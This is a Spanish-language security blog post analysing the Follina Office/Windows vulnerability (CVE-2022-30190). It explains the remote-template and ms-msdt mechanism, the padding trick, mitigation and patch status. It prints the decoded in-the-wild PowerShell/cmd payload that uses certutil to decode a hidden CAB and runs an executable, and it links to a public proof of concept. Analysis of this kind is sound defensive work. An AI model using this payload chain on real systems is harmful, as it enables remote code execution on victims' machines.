VULNERABILIDAD 0DAY DESCUBIERTA EN WINDOWS (CVE-2022-30190 «FOLLINA»)
Nota 17/06/2022: Microsoft ya ha subido un parche para la vulnerabilidad CVE-2022-30190 “Follina” dentro de la actualización de Junio de Windows, Se recomienda actualizar los equipos cuanto antes.
En los últimos días de mayo de 2022, la comunidad de ciberseguridad ha hecho eco de una nueva vulnerabilidad que afecta al sistema operativo Windows y el paquete de ofimática Microsoft Office. Esta nueva vulnerabilidad CVE-2022-30190, bautizada como “Follina” es capaz de ejecutar código arbitrario en las últimas versiones de Windows y Office con solo un click o incluso con 0 clicks.
Todo empezó por un Tweet del grupo de investigación en Ciberseguridad nao_sec. Este grupo japonés estaba analizando un documento infectado que había sido subido en el portal VirusTotal (Un servicio gratuito que analiza archivos y URLs en busca de malware).
Como dice el tweet, dentro del documento .doc hay una referencia a un link externo a una URL que carga un archivo HTML y este es capaz de ejecutar código arbitrario en PowerShell.
El documento hace uso de una utilidad en Word que carga una plantilla en remoto y lo muestra en el documento. Esta utilidad lo que hace es cargar un archivo HTML que define la plantilla del documento alojado en un servidor remoto.
El actor hace una referencia a una URL donde tiene alojado un archivo HTML donde podemos destacar dos cosas:
- Hay un bloque de comentarios donde hay un montón de “A”s, aún no se sabe a ciencia cierta por qué es necesario pero esta entrada del blog de Bill Demirkapi indica que hay un Buffer de un tamaño fijo en una función que procesa el HTML, por lo que si el archivo es menor que 4096 bytes, no es capaz de iniciar el payload. Estas “A”s funcionan como relleno para que el archivo pase ese límite.
- Vemos que dentro del HTML, hay una referencia a una URI con un esquema que hace referencia al protocolo ms-msdt utilizado por el sistema operativo para ejecutar el solucionador de problemas de windows.
(Nota: en vez de poner http:// o https:// como en las URIs que todos conocemos, en esta URI contiene ms-msdt:/).
El esquema ms-msdt hace referencia al paquete PCWDiagnostics, más conocido como el “Solucionador de problemas” de Windows que se suele utilizar cuando no funciona el sonido o el WiFi..
Esa URI lanza el programa con una serie de parámetros. En uno de los parámetros vemos que usa sintaxis de PowerShell, donde se encuentra el payload codificado en Base64. Si lo decodificamos podemos ver lo que contiene:
$cmd = «c:\windows\system32\cmd.exe»; Start-Process $cmd -windowstyle hidden -ArgumentList «/c taskkill /f /im msdt.exe»; Start-Process $cmd -windowstyle hidden -ArgumentList «/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil – decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe»; |
Estos comandos hacen lo siguiente:
- Abre una ventana oculta de cmd.exe.
- Mata al proceso msdt.exe.
- Hace un bucle de los archivos que se encuentra dentro de un archivo .rar buscando una cadena en Base64 que codifica un archivo CAB.
- Guarda el archivo CAB codificado en Base64 como 1.t.
- Decodifica el archivo CAB codificado en Base64 y lo guarda como 1.c.
- Descomprime el archivo CAB 1.c en el directorio.
- Y por último ejecuta rgb.exe que seguramente se encontraría dentro del archivo CAB.
(Nota: un archivo CAB (.cab) se refiere a un archivo Windows Cabinet cuyo contenido tiene datos comprimidos, parecido a los ZIP. en este caso el archivo CAB tenía dentro un archivo ejecutable llamado rgb.exe).
En resumen, un documento aparentemente inofensivo sería capaz de ejecutar código arbitrario en el equipo de la víctima, aunque éste lo vea en vista protegida. Y para empeorar las cosas, si en vez de un archivo de word .doc se trata de un archivo de Formato de Texto Enriquecido .rtf simplemente con ver en archivo dentro del explorador de Windows es capaz de ejecutar código arbitrario sin ningún click.
En esta prueba de concepto publicada por Benjamin Delpy podemos ver cómo es explotada esta vulnerabilidad. Nada más abrir el archivo .doc con las últimas versiones de Windows y Microsoft Office, podemos ver cómo se abre la ventana del solucionador de problemas y cómo después aparece la calculadora de Windows que ha sido lanzada por el payload.
Aún sin parche publicado por la gente de Microsoft, la únicas formas de mitigar este ataque es deshabilitar el protocolo MSDT como indican en esta publicación de Microsoft..
Esta vulnerabilidad ya catalogada como 0day afecta a las últimas versiones de Office y de Windows, por lo que en estos días se esperan una oleada de ataques por correo electrónico y otros medios utilizando estas técnicas, por lo que hay que tomar aún más precauciones con los mensajes que recibimos.
Referencias:
- https://twitter.com/nao_sec/status/1530196847679401984?s=20&t=DMjNT5ZNQTVi6LBD8Rxntg
- https://github.com/JohnHammond/msdt-follina
- https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
- https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
Publicado el 24 de Junio de 2022
Por Alberto López
Departamento de Ciberseguridad